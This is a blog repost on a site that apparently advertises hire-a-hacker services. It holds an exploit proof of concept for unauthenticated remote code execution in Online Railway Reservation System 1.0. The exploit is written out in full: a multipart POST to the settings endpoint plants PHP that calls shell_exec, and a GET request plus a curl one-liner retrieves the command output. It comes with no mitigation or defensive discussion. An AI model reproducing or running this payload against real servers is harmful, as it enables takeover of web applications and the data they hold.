Jump to content

Hacker Technology

A group blog by Leader in Hacker Website - Providing Professional Ethical Hacking Services

  • Entries

    16114

  • Comments

    7952

  • Views

    863543198

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
#Exploit Title: Online Railway Reservation System 1.0 - Remote Code Execution (RCE) (Unauthenticated)
#Date: 07/01/2022
#Exploit Author: Zachary Asher
#Vendor Homepage: https://www.sourcecodester.com/php/15121/online-railway-reservation-system-phpoop-project-free-source-code.html
#Software Link: https://www.sourcecodester.com/sites/default/files/download/oretnom23/orrs.zip
#Version: 1.0
#Tested on: Online Railway Reservation System 1.0

=====================================================================================================================================
Command Execution
=====================================================================================================================================
POST /orrs/classes/SystemSettings.php?f=update_settings HTTP/1.1
Host: localhost
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Content-Type: multipart/form-data; boundary=---------------------------41914587873111789572282654447
Content-Length: 164

-----------------------------41914587873111789572282654447
Content-Disposition: form-data; name="content[welcome]"
<?php echo shell_exec('id -a'); ?>

=====================================================================================================================================
View Output
=====================================================================================================================================
GET /orrs/ HTTP/1.1
Host: localhost
Content-Length: 2

=====================================================================================================================================
View Only STDOUT
=====================================================================================================================================
curl -i -s -k -X $'GET' \
    -H $'Host: localhost' -H $'Content-Length: 2' \
    --data-binary $'\x0d\x0a' \
    $'http://localhost/orrs/'| sed -n '/\"welcome-content\"/,/<\/div/p' | grep -v '<'